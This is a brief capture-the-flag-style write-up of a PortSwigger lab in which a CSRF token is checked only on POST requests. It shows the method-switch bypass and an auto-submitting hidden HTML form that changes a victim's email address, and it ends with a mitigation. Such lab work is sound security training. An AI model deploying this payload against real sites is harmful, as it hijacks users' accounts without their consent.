PortSwigger Lab: CSRF where token validation depends on request method
Task
This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.
You can log in to your own account using the following credentials: wiener:peter
Attempt
After logging in, the email update feature is immediately found. I sent a request with a random email ‘[email protected]’.
Post request:
POST /my-account/change-email HTTP/2
Host: 0a440092032916468178da36008e00c8.web-security-academy.net
...
email=gimmeramen%40example.com&csrf=Rw1g7oxG3QFIsDYuIMayirSzcS1TeZ4B
uh-oh looks like a CSRF token being used. Doesn’t look like encoded and it’s hard to guess. Simply erasing the csrf parameter didn’t work.
Tried the OPTION request.
HTTP/2 405 Method Not Allowed
Allow: GET, POST
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
"Method Not Allowed"
I changed the method to GET, erased the csrf parameter, sent the request again, and found the CSRF token was no longer verified.
Set the payload to the exploit server:
<form action="https://ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.forms[0].submit();</script>
Note that if you don’t specify a method, the browser will use GET to send the form data.
Sending the payload to the victim concluded the lab.
Mitigation
Reject the GET method for state changing actions.